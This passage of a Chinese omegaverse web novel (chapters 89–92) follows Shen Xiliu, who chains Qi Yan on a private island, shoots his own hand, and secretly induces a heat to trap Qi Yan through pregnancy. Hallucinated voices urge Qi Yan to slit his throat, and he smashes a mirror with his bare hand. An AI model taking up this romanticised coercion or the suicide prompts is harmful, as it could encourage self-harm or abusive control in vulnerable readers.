“我说了!我不是报复你!你到底要我说多少遍!”沈溪流受不了祁厌一遍又一遍地否认自己的爱意,也受不了他总觉得自己会报复他,心底无比痛苦,为什么祁厌就不能相信他一次? 他要的不多,只想祁厌和他在一起,除此以外,别无他求! 他们好像永远都无法好好地坐下来谈论,每次都是在争吵。说完这句话,沈溪流几乎不敢直视祁厌的眼睛,害怕再次在他的眼里看到嫌恶,深深吸一口气,压制住心底的情绪,试图给他证明自己的爱意并非虚假。 沈溪流快步走到床边,一边拉开床头柜取出里面的东西,一边冷声说道:“祁厌,困住你的锁链是特制的,想要解开只有两个办法: 第一个是等一个月以后,锁链就会自动打开;第二个则是锁链上的机器能够感应到我的生命特征,只要我的生命特征消失,锁链也会自动打开。” 在祁厌看疯子般的眼神下,他熟练地将枪械组装,安装弹匣,塞入祁厌手里,笑着说道:“现在,我将选择权交给你,要么等一个月,要么现在就杀了我。” “不用担心犯法,我已经安排好一切。”沈溪流单膝跪在床边,死死盯着他,表情是极致的冷静淡漠,眼神里尽显疯狂。 沈溪流握着祁厌的手,让他拿枪指着自己的心口。 “这里是沈家的一座私人小岛,如果我死了,只会被当做意外事故处理,不会影响到你。我名下的所有财产也已经安排好,杀了我以后,你可以尽情拿去,不想要的话,大可捐出去,都随便你。” “现在,你选哪个?”沈溪流冷声问他。 事情为什么会发展成这个样子? 祁厌不明白,眼前的沈溪流尖锐又冷酷无情,太过陌生,仿佛从未认识过一样,他猛地丢掉手里冰冷的枪,将俯视他的沈溪流压倒在床上,紧紧抓着他的双臂,胸膛急速起伏。 祁厌压抑着怒火,不断深呼吸:“沈溪流,你他妈的疯了吗?” “疯了?”沈溪流像是听到了什么好笑的话。 如果是之前,沈溪流还有余力反驳,但现在他却没忍住笑起来,盯着俯在他身上的祁厌,眸底隐隐有些疯狂:“祁厌,你这是在关心我吗?” “不用担心,我的思路很正常,只是向你证明我确实很爱你,就算你之前故意侮辱我,我也没有放在心上,这些都只是小事而已。” 尊严被践踏的滋味不好受,更遑论沈溪流这样傲慢冷漠的人,他当时甚至对祁厌产生过一抹恨意。但是清醒以后,沈溪流又发现,一切都不如祁厌对他的冷淡与无视,他无法接受祁厌满怀爱意地望着另一个人…… 所以,他终究是不打算放手。 原本不舍得用这种手段,给祁厌创造更加糟糕的回忆,但是不这样做的话,沈溪流看不见祁厌和他在一起的机会。 “就算你想要杀我,我也不会生气,反而会给你安排好后路;如果你不想杀我的话,那就和我在一起,反正我不会放过你……” “操!” 祁厌狠狠一拳砸在他脸边的床上,表情浮现前所未有的冷漠:“沈溪流,你这是在逼我!” “对,我就是在逼你。”沈溪流对他笑了笑,非常漂亮纯粹的笑容,祁厌以前从未看他这样笑过。 偏偏那双狭长的眼眸却如毒蛇的眼瞳,死死盯着祁厌的喉咙,仿佛随时都会一口咬上去。 “陪我在这里待一个月,或者杀了我,你选哪个?” “……” 几乎快要窒息了,祁厌缓慢地放开他,翻身站了起来,背对着沈溪流,看不清楚表情,只有声音依然冷漠。 “你疯了。” “……或许吧,我本来就是这样的人。”沈溪流躺着不动,泪水沿着眼尾流出,浸入鬓发,“祁厌,接受我,没这么困难。这只是一桩普通的赌局,我给你安排好一切,不管怎么发展,你都会赢……” 他明明要的不多,只想和祁厌在一起。可是祁厌就是不愿意回头看他一眼,这究竟是为什么? 沈溪流不明白,明明祁厌不是这样的人,他派人仔细调查过祁厌的过往。祁厌不是小气的人,也不是记仇的人,甚至可以说是大方潇洒,他对亲人很珍惜、重视,甚至有着很强的保护欲,对omega也很温柔、细心、照顾,总是尊重着其他人,可偏偏唯独对他这么…… “……祁厌,我还欠你一样东西。” 沈溪流擦掉眼泪,坐起身,捡起枪,抵着右手,面无表情地扣动扳机。 一声枪响突然响彻房间内,转过身来的祁厌瞳孔一阵震颤,这次沈溪流完全没有给他阻止的机会,说完就扣动扳机。 子弹毫不留情地穿破掌心,鲜血飞溅而出,沈溪流疼得浑身颤抖,脸色煞白,豆大的汗水从脸颊滚落,差点疼晕…… “还不够。” 沈溪流咬着下唇,溢出血丝,带着病态般的偏执,还想再朝自己的右手开枪,却被祁厌一把抓住,死死拦住:“沈溪流,你他妈的别在我面前发疯!” 祁厌觉得自己真的要气疯了。 猩红的鲜血滴落在手上,沈溪流看着他,仿佛感觉不到疼痛,反而高兴地笑了起来:“你又在担心我了。” 他想来想去,好像还是欠了祁厌一只手,或许就是因为这样…… 祁厌才始终不肯原谅他,不肯和他在一起。 “……” 祁厌无法形容这一刻的心情,沈溪流疯了,他自己也离发疯不远了。 为什么事情会发展到这个地步?如果他最开始没有签订那个合同,没有认识沈溪流就好了,这样就不会互相打乱彼此的生活。 一步错,步步错。 他不该签订合同,不该认识沈溪流,不该喜欢沈溪流,更不该在知道真相以后,还继续和他纠缠不清,为了报复而去利用他,故意在游轮上刺激他,让他变成现在这个模样…… “够了,沈溪流,真的够了,你不欠我什么。” 太阳穴突突地跳着,好似有无数根针扎着,后颈腺体一片麻木,祁厌无比悔恨,又无力地垂着头跪倒在地,手掌死死攥着沈溪流的手不放。他的呼吸粗重,冷汗浸湿衣衫,心脏在超负荷运转,猛烈地跳动着,仿佛下一刻就会跳出胸膛。 “就这样吧,我会陪你一个月。” 缓过神来,祁厌夺过沈溪流手里的枪,僵硬地说着。 不过是一个月而已,没什么大不了。总归得先把沈溪流的精神稳定好,不能再出乱子了。 祁厌头疼得要死,不想再和沈溪流纠缠下去,无视他欣喜若狂的表情,让他去把手伤处理好。 等沈溪流离开房间,祁厌才连忙去翻角落里的行李箱,除了手机之类的通讯器以外,其余东西都在。他抖着手把药倒出来,急切地吞吃下去,仿佛这是他的救命药。 吃下去以后,所有痛苦好似都被药物压了下去,祁厌终于能够喘口气。他盯着药瓶里的药片,已经所剩不多,完全不够撑过这一个月。 祁厌闭了闭眼,将药瓶放了回去。 幸好他担心被人发现,所以提前换成了维生素的药瓶,否则早就被沈溪流发现了吧。 一个月,只是一个月的话,应该没有问题,能撑得下去。 第90章 前世 标记 祁厌无法理解沈溪流做这些荒唐的事情有什么意义, 锁链的长度可以调节,能够活动的范围并不局限于床的周围。 他站在落地窗观察过外面的景色,别墅的地理位置优越, 能够一眼看到远处的海平面,也能看到岛上的峭壁悬崖以及密集的森林…… 沈溪流没有说谎, 这的确是一座私人小岛。 祁厌这辈子都没想过自己会遇到这种狗血的事情, 而且囚禁他的人还是沈溪流。 为什么这段关系会变得如此扭曲呢? 祁厌真的无法理解,从他同意以后,沈溪流就好像恢复了正常的模样, 不再提任何乱七八糟的事情,仿佛他们之间没有闹过任何矛盾,每天都很高兴地给他分享各种事情。 无论是沈家、江家、乃至祁厌的一些朋友和他的表弟表妹的事情, 还是易鸿立的案子进行到哪一步…… “江与青那里你不用担心, 我让我的助理跟进项目,他那位叔叔动不了手脚;你弟弟现在已经回到学校好好学习了,以前的那些事情已经解决,他如果还想继承他父亲的意愿,考上警校的话,就不会再去掺和;至于易鸿立那边, 你的那个朋友始终在跟进, 当年那件事情闹得太大, 如果没有意外的话, 死刑是逃不过的……” 所有的一切, 沈溪流都特意转述给祁厌,免得他担心。 “谢谢。”祁厌平静地道谢,内心确实松了口气。 “祁厌,我们不用这么疏远, 你没有向我道谢的必要。” 连续下了一周的雨,乌云早已散去,温暖的阳光透着云层洒在阳台上,坐在椅子上的沈溪流皮肤有些病态般苍白,他的嘴角微微上扬,笑得眉眼弯弯,好像以往的所有冰冷与傲慢都消失不见,变得无比陌生。 “……” 祁厌盯着沈溪流,病态般苍白的皮肤,将眼下的泪痣和一抹青色衬托得更加显眼,虽然因为得知其他人的情况很好,祁厌却从未放松下来。 “沈溪流,你觉得这样下去很好吗?”祁厌不懂,明明他已经在尽力配合沈溪流,希望他的精神状况早点稳定下来。 但现在已经过了好几天,沈溪流好像只有表面恢复了正常,真正的精神状况仍然在持续走低,甚至变得越来越紧绷…… “为什么不好?”沈溪流的笑容没有变化,声音很温柔,“只要你陪着我,我就觉得很高兴。” 骗人。 祁厌垂下眼帘,越看如今的沈溪流,他越觉得陌生,仿佛从来不认识对方一样。 “做这种事情有什么意义吗?” 当然有,只是现在还不能告诉你。 沈溪流没有回答这个问题,留给他的时间不多了,他得好好改变自己。 祁厌喜欢温柔的人,他就努力做个温柔的人;祁厌喜欢愿意倾听的人,他就努力做个善于倾听的人;祁厌喜欢长头发的omega,他会慢慢留长头发…… “……” 见沈溪流没有回答,祁厌的头开始疼,完全没有联想到自己曾经在真心话大冒险的时候,随意说出的话,会被沈溪流全部知道,并且努力去做。 “我喜欢表面温柔善良,私底下可爱、会对我撒娇的omega,外貌没什么偏好,顶多是喜欢长头发吧。” 祁厌当时只是随口一说,人哪有什么择偶标准,大部分人的伴侣理想标准,往往与现实不同。 起码他说完以后,在场的游弋就发现这些美好的词汇与沈溪流一点都不沾边,甚至南辕北辙,这辈子都想不到沈溪流撒娇的话,会是什么鬼样子? 现在的身体简直就像是个准时器,祁厌看了一眼时间,已经下午一点钟,准时出现征兆。 没等他说话,沈溪流就自己站起身,声音平和:“我知道,时间到了,那我就不打扰你了,好好休息。如果有事,可以随时叫我。” 说罢,他就端着桌上的咖啡离开,沈溪流给予了祁厌除却自由以外的所有尊重,包括他想要的个人时间。 祁厌低着头没有和他说话,沈溪流面带浅浅的微笑,平稳地走出房间,给人一种无比虚伪的错觉。 然而,随着门一开一关,沈溪流原本伪装出来的和煦表情一瞬间就变得阴鸷,就连呼吸的节奏都混乱起来。 “为什么不行?”沈溪流紧皱着眉头,下楼走进厨房里,烦躁地把盘子和咖啡杯放下,发出清脆的声响,他下意识咬着手指思考,“究竟是哪里出错了?” 与身旁的佣人擦肩而过,沈溪流立即回到自己在祁厌对面的房间,快速翻阅各种资料,袖子随着大动作卷起,裸露出来的手臂内侧残留着密密麻麻的针眼痕迹。 不知道看了多久,满地资料乱丢,沈溪流阴郁着一张脸思考良久,拿出手机拨打沈清泽的电话,才响了不到一秒,对面就飞快接了起来。 “喂,沈溪流吗?”对面的声音很冷静,但沈溪流听出来一丝不平静。 他沉默一瞬,这个时间点,沈清泽应该在工作,不可能秒接起他的电话。 “喂?溪流?”见他没有说话,沈清泽的声音好像出现波澜,连呼吸都更加沉重。 “你身边站着谁?”沈溪流靠着椅背,面无表情地开口了,他听见一声急促的声音,“沈云殊,你回来了是吗?” “……” “沈溪流,你的胆子真大。”一道无比疲惫的声音响了起来,压抑到了极致的怒火,强行维持着冷漠的理智,“听着,我有话要告诉你……” 【嘟嘟——】 沈溪流毫不犹豫地挂断电话,他没想到沈云殊居然回来得这么早,看来那人挺没用的,居然连将沈云殊困个一两年的时间都做不到。 “不能再拖延下去了。” 沈溪流站起身,冷着脸摘掉脖子上的信息素抑制颈环,随手丢在桌上,从抽屉里取出一盒发情期诱导剂,干脆利落地扯开衣领,将针剂注入自己的后颈腺体。 祁厌问他:做这种事情有什么意义吗? 沈溪流当然知道没有任何意义,一个月的时间一旦结束了,离开这座小岛,祁厌依然会毫不留情地离开他。 所以为了杜绝这种事情,他现在正在创造一个让祁厌无法离开他的契机。只要他成功了,祁厌就永远都无法离开他。 偏偏一切都没有想象中的顺利,等了那么多天,沈溪流依然没有等到祁厌的易感期到来,这让他有些紧迫,明明只要祁厌的易感期到了,他就能够被祁厌标记,并且有很大概率…… 沈溪流眼底闪过一抹晦涩的难堪与阴鸷,他抿了抿唇,抽出针,看着被注射光的药剂,呼吸微微变得紊乱。 只能这样了,也只有这样了。 云层在漂浮,太阳越来越盛,不知道沈溪流离开了多久,祁厌走进屋里,手掌有些微微颤抖,周边的幻觉越来越真实。 他没有去翻行李箱拿药,而是捂着鼻子,走进厕所里,眼前一片模糊,只有鲜红的色彩无比刺眼,耳边回荡着幻觉蛊惑般的声音,伴随着脖子上锁链清脆的金属撞击声…… 祁厌选择充耳不闻,硬撑着熬过这段时间,等情况恢复少许,才回到床上躺着。 【好好一个alpha活成这副狼狈的样子,可真有你的。】“顾燕行”在一旁看笑话,【你明明有办法逃出去的不是吗?非得和他熬着,这么犯贱吗?明明他都害死了我,现在又来害你……】 “你好吵。”祁厌闭目养神,按了按太阳穴。 【我只是说点真心话而已,祁厌,你早晚会被他害死。】 或许吧。 祁厌不想和幻觉说话,本来打算就这样睡到晚餐时间,但今天没有过多久,沈溪流就突然跑过来找他。 那张苍白的面颊带着不寻常的潮红,眼神湿润,呼吸急促,一见到他就死死搂住他的脖子,想要吻上去,但被祁厌用力拉开,皱着眉头问:“怎么回事?” 沈溪流的头脑一片紊乱,根本无法静下心来思考,他从未体验过真正的omega发情期,以往因身体问题,很少出现这种事故,每次都有信息素抑制颈环提前控制,但这次,他把信息素抑制颈环摘掉了。 潮热的欲望几乎将人逼到发疯,无比迫切地希望喜欢的alpha立即标记自己,连一刻都无法忍耐。 【看这样子,是发情期来了。】“顾燕行”嘲笑着说。 祁厌控制着怀里挣扎的沈溪流,扣住他的后脑勺,拉扯后领,仔细观察着泛红肿胀的腺体,毫不意外地看见一个针眼。 “沈溪流,谁让你用发情期诱导剂的?”祁厌压抑着怒火质问,沈溪流到底想要做什么? 明明他已经在努力配合他,为什么非要做这种糟糕的事情来伤害自己?无法形容此刻的心情,祁厌发现自己真的一点都不了解沈溪流,连稳定他的精神状态,这种简单的事情都做不到! “标记……祁厌,标记我!”沈溪流急切地说道,额头已经浮现密密麻麻的细汗,潮热的脸湿润滚烫,作为omega的本能几乎将他逼到想哭,“祁厌,你是我的alpha,只有你,只有你能够标记我!” “……我不是你的alpha。”祁厌深呼吸地说,“你现在需要的是抑制剂。” “不!我不需要抑制剂,拜托了,祁厌,标记我吧……”沈溪流拼命摇着头,发软的腿几乎要跪倒在地,发情期带来的冲击力太大,没有抑制剂,也没有alpha的信息素,他根本抵挡不住。 混乱的脑子已经无法思考,他甚至想不明白为什么那么多omega的信息素冲击,祁厌作为一个正常的alpha,没有用任何辅助,究竟是怎么做到像是没事人一样,冷静地扶着他,不带一丝情欲。 “……” “所以,你把我困在这里,只是想做这种无聊的事情吗?”祁厌依然平静地看着他,没来由的让沈溪流一阵心慌。 “行吧,既然你想做,那就做好了。”没等沈溪流回答,他就把人拉到床上。 被子被拉了过来,将沈溪流和他都包裹得严严实实,omega的信息素几乎被笼住,浓郁到沈溪流自己都快要被冲昏头脑了。 “好热!”沈溪流喘着气说,但祁厌并未放开他。 即使外面是幻觉,但在他看来,形同真人,而祁厌没有兴趣在别人眼皮子底下表演。 虽然很热,但沈溪流却一点都不反感,倒是相当喜欢全程都在逼仄的空间里,被祁厌紧紧抱住,仿佛这个世界只剩下他们两个人,他只能清晰地感觉到祁厌的一切…… …… omega的发情期一般都会持续三天到七天之间,在这种时间里,最容易被alpha彻底永久标记。在沈溪流看来,以他和祁厌的匹配度,这一次必然会永久标记,加上匹配度高的alpha和omega之间还有着很高的……受孕率。 一旦永久标记成功,加上受孕率极高,他就能怀上祁厌的孩子。 到时候就算祁厌不喜欢他,厌恶他,但只要有孩子在,一向重视亲人的祁厌一定不会抛下他不管,这辈子都注定只属于他一个人。 但是,持续了将近七天的发情期结束后,好不容易恢复理智,终于找到机会检查情况的沈溪流,原本好转的脸色瞬间变回病态的模样。 他的表情阴鸷疯狂,死死地盯着仪器,啃着手指,哑着声音:“为什么没有标记成功……” 也没有怀孕的征兆。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-100 第91章 前世 你该死了 “……如果您和您的alpha的匹配度真的高达99.98%的话, 不应该出现这种情况。alpha不可能连在发情期的omega都无法标记,一般这种情况只有可能是……”你们的匹配度连30%都不到。 但这种情况明显是不可能,私人医生没敢把话说出去, 坐在对面的沈溪流眼神太恐怖,他吞了吞口水, 把检查报告放下。 “您的身体情况虽然还有些不稳定, 但是不会影响到标记和受孕,或许出现问题的是那个alpha……” “不可能。”沈溪流冷漠道,“他的身体没有任何问题, 问题只可能是出在我身上。” 祁厌的身体情况没有人比他更清楚,当初沈云殊和他选定祁厌帮他治疗,也有这个因素, 当初沈云殊甚至嘲笑过他, 别在那一个月期间,闹出人命。 毕竟这么高的匹配度,就算不是在发情期,沈溪流怀孕的几率也相当高。可是如今他们在发情期做了这么多次,后续也没有间断,可是沈溪流就是没有丝毫怀孕的征兆, 这样下去, 一切都会完蛋的…… 医生紧张地推了推眼镜, 委婉劝说:“那沈先生, 或许您可以试试让对方进入易感期……” “我不可能对他使用易感期诱导剂。” 沈溪流修长的双腿交叠, 神色冷漠,手指已经不耐烦地敲击着椅子扶手,被绷带缠绕的右手伤口被拉扯到细微的刺痛,警醒着他。 “你查不出原因吗?” 他已经后悔选这个破地方了, 虽然祁厌逃不走,但是这里的医疗条件也太差,医疗设施不够全面,连个小问题都检查不出来。 我已经提供很多个可能性了,但你这不可能,那也不可能。医生低着头翻看资料,头疼地说:“……不排除是假性标记的影响,让您的身体抗拒对方的标记,假性标记的时候使用的是处理过的alpha信息素对吧?” “……嗯。”沈溪流垂下眼帘,被处理过的alpha信息素,没有任何味道,到现在为止,他连祁厌的信息素是什么都不知道。 只从资料上知道是“薄荷”,却从未亲自感觉到。 “那或许是这个因素,您的身体曾经被‘假性标记’过,因为感受到alpha信息素与标记自己的alpha不同,所以身体会下意识地抗拒其他alpha的标记,难以受孕……” “或许您可以使用一些消除‘假性标记’的药物,再试试看能不能成功。” 沈溪流终究是接受医生的建议。时间不多了,他必须得赶紧让祁厌将他标记,让他怀孕,只要他们之间多一个孩子,所有的问题都会变得不重要,毕竟祁厌再厌恶他,也会为自己的家人/孩子退一步。 …… 药吃完了。 祁厌感觉自己的状况比之前更加不稳定,而沈溪流也好像变了个人,原先最起码表面看起来正常许多。自从他的强制发情期结束以后,那层虚假的和平也被撕破,露出沈溪流本来的面目——强势且喜欢无视别人的意见,不允许祁厌拒绝。 虽然不是所有事情都这样,但是虚伪的面具下,偶尔露出那种熟悉的姿态,简直让祁厌下意识提起戒备心。 沈溪流到底想要对他做什么?一开始或许还无法确定,可随着每天重复发生的事情,沈溪流几乎没有任何掩饰,祁厌好像隐隐有所察觉…… 不,他早该猜到了。 只是因为如今身体的变化,以及原先沈溪流傲慢冷酷的性格,让他没有第一时间联想到这一点上。 一个正常的omega每天都被一个正常的alpha做这种事情的话,早就该被标记,也早就该……怀孕了。 想到这一点的时候,祁厌几乎后背一阵阵发凉,恐惧几乎将他吞没,心悸到流冷汗。等再看沈溪流,明明还是那张熟悉的面孔,那双眼睛却再也没有过去的清高傲慢,漆黑的眼眸里透露出的渴望与急切、阴郁偏激,显得无比陌生…… 这……真的还是他认识的沈溪流吗? 夜色越来越黑,屋内的灯始终未曾熄灭,祁厌喘着气起身坐在床边,右手的黑手套没有摘下,掌心带着汗水,有些湿润。他的黑发被汗水打湿,一缕缕地落在凌厉上扬的眉峰,俊美的脸没有任何表情,也没有丝毫沉浸在情欲中的模样,裸着结实的上身,从床头抽屉里拿出自己的烟和打火机。 目光在那把枪上停留一瞬,他收回眼神,咬着香烟,用打火机点燃,尼古丁进入肺部,好似缓解了一丝压力,烟雾慢慢弥漫散开,覆盖住原先浓郁的情热气息。 “……咳咳,咳哈啊,咳!” 身后忽然传来一阵阵剧烈的咳嗽声夹杂着喘息,祁厌好像没有听见,自顾自地抽着烟,烟盒里所剩不多,索性打算直接抽完。 “咳咳!”沈溪流有些难受地捂着口鼻,缓慢撑起身体坐起来,不小心拉扯到酸痛的地方,忍不住倒吸一口气,结果将空气里的烟味都给吸入肺部,被呛到浑身难受。 他拉扯着被子盖住汗湿的身体,左手落在自己微微鼓起的小腹,过激的情.事有些折磨人,但沈溪流并不厌恶,反而有着说不出的期待。 “祁厌……咳,你能不能别抽烟了?” 沈溪流咳嗽着说,他的右手伤口在刚才的情.事中被拉扯到,红色的血液已经渗透白色绷带,连床单都被蹭上血迹,但全程俯在他身上的人都没有动容,这让他有点难受。 祁厌没有搭理他,一直到抽完剩下的烟才站起身,面无表情地俯视着沈溪流:“沈溪流,你是想养一个供你取乐的X玩具吗?” “诶?”坐在床上的沈溪流一愣,被他冷漠的视线看得心脏微微抽搐,“为……为什么你要这么说?我并没有这个想法,我只是……我只是……”想要被你标记。 看着他说不出话,祁厌冷淡道:“或许我选错了。” 太愚蠢了,他不该自以为是地认为自己可以帮助沈溪流,事实证明他没有这个能力。他无法帮助沈溪流,继续这样纠缠下去,沈溪流只会和他一起走向毁灭的路…… “你该回你的房间了,希望我洗完澡不用再看见你,还剩下十二天。” 沈溪流僵硬住了。 祁厌说完以后,自顾自地走进浴室洗澡,脖子的枷锁使他无法完全将门关上,外面的声音窸窸窣窣地传过来,是沈溪流在穿衣服,过了好半晌,才听到开门关门的声音。 冰冷的水从头顶滚落滑过全身,让祁厌的大脑都冷静下来了。 但因为没有吃药,头不断抽痛着,连身体四肢也开始变得麻木,有些不听使唤,祁厌伸手擦了一下鼻下,一抹鲜红被身上的水流冲散。 耳朵突然响起尖锐的耳鸣声,不断回荡着,大脑里面也在抽痛,一阵强过一阵,逼得他忍不住狠狠拍了一下。 “啪!” 世界变得寂静了。 但没有多持续几秒钟,随之而来的是嘈杂的讨论声音—— 【真是好幸运啊,你。】一道稚嫩的声音响了起来,带着一丝雀跃,【马上就要有新的家人了呢。】 祁厌僵硬地站在原地,半晌后深吸一口气,他闭了闭眼睛,恍若未闻,伸手关掉花洒,抹掉脸上的水珠,拿过一旁的毛巾擦干净擦拭身上的水。 【算了吧,他怎么可能有新的家人,配吗?】少年的声线低沉,带着嘲讽,【再来一个小可怜,一起被“我”害惨吗……】 “……” 我什么都没有听见,这只是我的幻觉。 祁厌穿上浴袍,脖子上的锁链不断发出清脆的撞击声,试图掩盖住讨论声音。 【没学过生物吗?alpha腺体被破坏以后,如果没有及时发现,不仅永远无法标记omega,就连生育能力都会失去,“我”注定永远不会有孩子。】比少年的声线稍微成熟一些,冷静地说道。 好烦……真吵……快闭嘴吧…… 祁厌想要快点走出浴室,想要去吃药,可是刚走到镜子前,却想起来他的药吃完了。 “……” 身体突然僵硬住,仿佛被无数人拉住,难以动弹。 祁厌本想忽视,可当目光触及镜子时,却不受控制地看了过去,镜子里,一张张无比熟悉的面孔直勾勾地盯着他:【为什么要让我们闭上嘴?我们说得不对吗?】 【你有什么资格让我们闭嘴?】镜子里的“祁厌”脸上流着猩红的鲜血,惨白的脸颊蜿蜒着血迹,浑身都是车祸后造成的伤口,与“顾燕行”的死状一模一样。 在看到“自己”的模样那一瞬间,祁厌的瞳孔不受控制收缩,心脏几乎跳出胸腔。 【祁厌,从头到尾,最该死的人都是你,无论是当年,还是现在,你都应该被车撞死……】 “闭嘴。” “砰!”的一声巨响,镜子被用力砸碎,镜子碎片扎入血肉里,祁厌却好似没有感觉到,一下一下地砸碎镜子,试图让里面的“人”消失,结果反而变得越来越多。 【真是好无聊的大人,原来我长大以后会变成这副鬼样子吗?】年幼的“他”,冷漠地说着。 少年时期的“他”似笑非笑地看着,嘲讽说道:【你做这种事情有什么意义吗?】 【宋意礼总算是做了一件好事,要是真让你上了大学,成了医生,估计不是浪费资源,就是伤害病人。】高中时期的“他”感慨地说道。 该死的“他”顶着血腥的面孔,捂着肚子神经质地哈哈大笑着:【就是,就是,如果“我”早点死,别去招惹沈溪流,说不定连顾燕行都不会死,自己死了就算了,干嘛活着害人害己啊!】 【自以为是救世主呗,真当沈溪流喜欢他呢,其实连玩具都不如,起码玩具不会用锁链锁着。】 【幸好没有生育能力了,我都不敢想,“我”这幅鬼样子,万一有了孩子怎么办?真是太可怜了!】 【如果长得像我,就更可怕了,这个世界没有比我更糟糕的孩子了……】年幼的“他”蜷缩在角落里,小声说道。 少年的“他”平静地点着头:【赶紧捡起玻璃碎片往脖子上划一刀,这糟糕的人生就能全部结束了。】 “闭嘴!”祁厌恍若未闻地砸着镜子,眉头紧紧皱着,因为洗澡而摘下手套的右手逐渐变得血肉模糊。 他冷静地想着,都是幻觉、幻听,不能听,不能信,就这样结束生命,才是愚蠢的行为。 【好痛苦,真想死。】高中的“他”捂着脸,【“我”怎么会有这么自以为是的一天?谁给“我”的自信,以为能够帮助沈溪流,明明我才是最不正常的人吧……】 你不会以为沈溪流真的爱你吧?别开玩笑了,说不定这一切都是他的阴谋,你现在会变成这个样子,都在他的算计之中。 毕竟,那可是沈溪流哎,他真的会不知道有人对你用了信息素摧毁剂吗? 易鸿立真的可以做得这么隐蔽,插手沈家的研究所,利用研究人员给你下药,而沈溪流却什么都没有察觉到? 别开玩笑了,说不定这都是他默许的。 你的猜测太自以为是,这一切都是他的阴谋。 沈溪流根本没想用标记和孩子束缚你,他只是在趁机报复你,他知道你不怕死,也不会对他动手,索性将你困在这个地方,让你没有药吃,一遍遍地怀疑他的用意,直到把你逼成现在这副鬼样子! 他大概就像当初一样,故意安排了“眼睛”,现在就坐在监控后,冷眼欣赏你滑稽又可笑的小丑模样吧。 真是好恶心、好难看,自以为是在救人,其实被人玩弄在掌心里…… “他”贴着镜子,盯着他:【听见了吗?祁厌,你该死了。】 “他们”冷眼旁观他做着无用且荒唐的事情,飞溅而来的碎片从脸颊划破,祁厌的眼睛却一下都没有眨,瞳孔细细地震颤着,没有任何焦距…… 第92章 前世 那你就去死吧 鲜血被冲走, 但仍然有一地的镜子碎片,以及脸颊被飞来的碎片划破出现的痕迹,左手掌心也残留着血痕, 祁厌没有任何感觉,沈溪流却被惊吓到了。 “不过小伤而已, 没有必要检查。”沈溪流本想叫来岛上的医生, 却被祁厌拒绝了。 外面的太阳太晒,祁厌懒散地坐在窗边,窗帘将外面的阳光遮挡住, 只有少许光线透过缝隙投下斑驳光影,静谧的阴影下,显得宁静。 他熟练地用左手点烟, 一抹火光浮现, 烟雾徐徐上升,桌上放着酒,有些自嘲地说道:“让人看到这种样子,你不要脸,我还要脸。” 沈溪流有些哑然,目光落在他垂在一侧的右手。黑手套遮掩得太好, 他什么都看不见, 但祁厌始终没使用过右手, 心底依然放心不下:“祁厌, 你应该知道的, 你的手伤还没有痊愈,不能再受伤,只是简单处理的话不行,还是先让岛上的医生看一下吧。如果有问题的话, 我会立刻联系威尔逊医生,让他们团队过来……” “没有必要。”祁厌有些不耐烦,修长的左手食指和中指夹着香烟,升起的烟雾模糊了阴影里的面孔,他端起玻璃酒杯喝了一口,“沈溪流,你别那么烦人,可以吗?” 他的语气有些烦躁、恶劣,像是被人骚扰到受不了,祁厌的表情透露着厌烦。 “……”沈溪流微微睁大眼睛,脸上浮现一抹惊愕,好像没想到祁厌会突然用这种语气和自己说话。 “同样的话,重复了这么多遍,你不腻吗?”香烟的雾气从唇间溢出,海风吹了进来,让烟雾散去,吹向另一个方向,没有熏到沈溪流,祁厌拧眉看着他,“以前的你可没有这么话多,让我自己安静地喝几杯,不行吗?” 沈溪流的呼吸一顿,他紧紧盯着祁厌的脸,早已熟悉到不能再熟悉,但对方此刻的表情却有些陌生,不是之前在船上时的冷淡,而是一种更加平静且让人恐惧的冷漠。 先前沈溪流一直有点不敢细看,但此刻不得不正视的时候,他的目光却忍不住在多出来的那些伤痕上流转。 祁厌以前没有那么多伤痕的,无论是碎发下,藏在眉峰侧的那一道伤痕,还是脸颊处的新伤,包括左手处肉眼可见的伤痕,以及藏在手套里的右手,都是与他相遇后增添的…… “别看了,这里也是你砸出来的。”祁厌的声音凉凉响起,他用食指指了指眉峰处的伤口。对沈溪流说,“合约结束的那个夜晚,你忘记你拿东西砸了我一下吗?” “!” 沈溪流瞳孔骤缩,就连心脏都仿佛漏跳了一拍,他不受控制地停止呼吸,大脑一片空白,目光却死死定在祁厌的眉眼间,头发遮掩住,却仍然能够看见那一道很深的伤疤,划破的时候肯定流了不少血。 沈溪流很久之前就想问了,但又介于两人的关系太过于僵硬,所以导致他根本不敢询问这种事情。本以为是在合约结束之后,祁厌不小心划伤的,结果没想到居然还是自己造成的吗? 记忆快速回放,沈溪流很快就回想起来,那天晚上他本来是打算好好和祁厌谈话,想要告诉他,自己把他和易扬之间的事情处理好了。 无论是不小心留在现场的证据,还是试图报复的易扬和沈湘婷都被他提醒了。这两人不会去报警,也不会再来找事,毕竟易扬本来就欠祁厌一只手,现在还给他,也算合理吧? 结果没想到,祁厌一回来,他们就将谈话的开头堵死,而后他又听见他和江与青打电话,心里一时之间没憋过气,就直接嘲讽起来,再后来…… 他被祁厌拉回房间,一怒之下随手抓了个东西砸过去,完全没想到居然真弄伤祁厌了。 “对……对不起……”沈溪流缓过神来,脸色有些惨白。 “没有必要重复这些话,说对不起有什么作用?毕竟道歉是最无用的东西,即使我不放在心上,你也不会解脱,别总是往回看,你不是这样的人。”祁厌说得很淡,向他推了推酒,“既然没事的话,要一起喝几杯吗?” 目光落在酒上,沈溪流想陪他喝几杯,或许这样能缓解一下他们的关系,但是…… “我不能喝。”沈溪流下意识将手放到小腹上,备孕期间是不能抽烟喝酒的,无论是他还是祁厌,都不该碰触这些。 但是祁厌一开口,他就无法无视并且拒绝,最终还是同意了。 说到底,其实沈溪流对有可能到来的孩子并没有什么爱意,以前也从未想过自己未来会主动愿意给一个alpha孕育新生命,想想都觉得恶心的事情,如今居然成了他利用的下等手段。 沈溪流觉得很讽刺,但他改不了,已经没有更加温和的手段让祁厌留在他身边了,所以只能利用他/她来挽留祁厌…… “那就算了,你出去吧,我只想一个人安静地待一下。” 祁厌漫不经心地说着,好像并未放在心上。 “……”沈溪流默然半晌后,依然没有离开,他想继续陪着祁厌,反正现在还没有怀孕的征兆,陪他喝几杯也没什么吧? 只要不影响怀孕的概率就够了,那个“孩子”是否会受到影响,并不在他考虑的范围之内。 在这些小事上,沈溪流不想拒绝祁厌。 沈溪流这辈子的酒量注定就这么差劲了。几杯下去以后,又变回了那个容易欺骗的“沈溪流”,无论祁厌让他做什么都愿意…… …… 一切都相当顺利,祁厌很早就从沈溪流口中得知小岛的货船会在今天早上十点离开,如果他想要尽快离开这座小岛,回到岸上,只有这个机会。 